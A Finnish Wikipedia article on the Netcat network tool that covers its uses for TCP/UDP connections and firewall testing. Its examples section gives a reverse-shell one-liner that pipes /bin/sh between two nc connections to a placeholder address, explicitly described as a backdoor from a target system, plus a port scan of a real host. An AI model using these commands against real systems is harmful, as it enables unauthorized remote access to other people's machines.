Netcat

Wikipedia
Loikkaa: valikkoon, hakuun

Netcat (nc) on TCP- ja UDP-yhteyksien luomiseen käytetty työkalu. Sillä voi sekä muodostaa erilaisia yhteyksiä toisiin tietokoneisiin että avata portteja ja ottaa vastaan yhteyksiä muilta koneilta. Netcat antaa ennen kaikkea mahdollisuuden säätää kaikkia mahdollisia eri parametreja, kuten lähdeporttia tai tiettyjä TCP-optioita, mikä tekee siitä erittäin hyödyllisen kaikenlaisten TCP/IP-järjestelmien testaamiseen. Sillä onkin kätevä testata vaikkapa palomuurin tai pakettisuodattimen toimintaa.

Netcat on vakiovarusteena miltei jokaisessa nyky-Linuxissa ja -Unixissa.

Netcatista on olemassa myös salausominaisuudella varustettu versio, Cryptcat.

Esimerkkejä[muokkaa | muokkaa wikitekstiä]

Komento tulostaa oletustulostusvirtaan netcat:n avulla fi:Wikipedian Etusivun HTML-koodin:

perl -e 'print "GET http://fi.wikipedia.org/wiki/Etusivu\n\n";' | nc -vv fi.wikipedia.org 80

Niin sanotun back-kanavan tai ts. takaoven teko kohdejärjestelmästä netcat:n avulla omaan koneeseen:

nc -vv #oma-IP-osoite #porttinumero1 | /bin/sh | nc -vv #oma-ip-osoite #porttinumero2

Jota ennen täytyy omaan koneeseen luoda netcat:llä kuuntelijat esimerkiksi:

nc -l #porttinumero1
nc -l #porttinumero2

Täten saadaan tyylikkäästi Bourne-shell tai muu haluttu komentotulkki etäkäyttöön.

Voidaan käyttää myös yksinkertaiseen porttiskannaukseen:

nc -z fi.wikipedia.org 1-80
Connection to fi.wikipedia.org 22 port [tcp/ssh] succeeded!
Connection to fi.wikipedia.org 80 port [tcp/http] succeeded!

Aiheesta muualla[muokkaa | muokkaa wikitekstiä]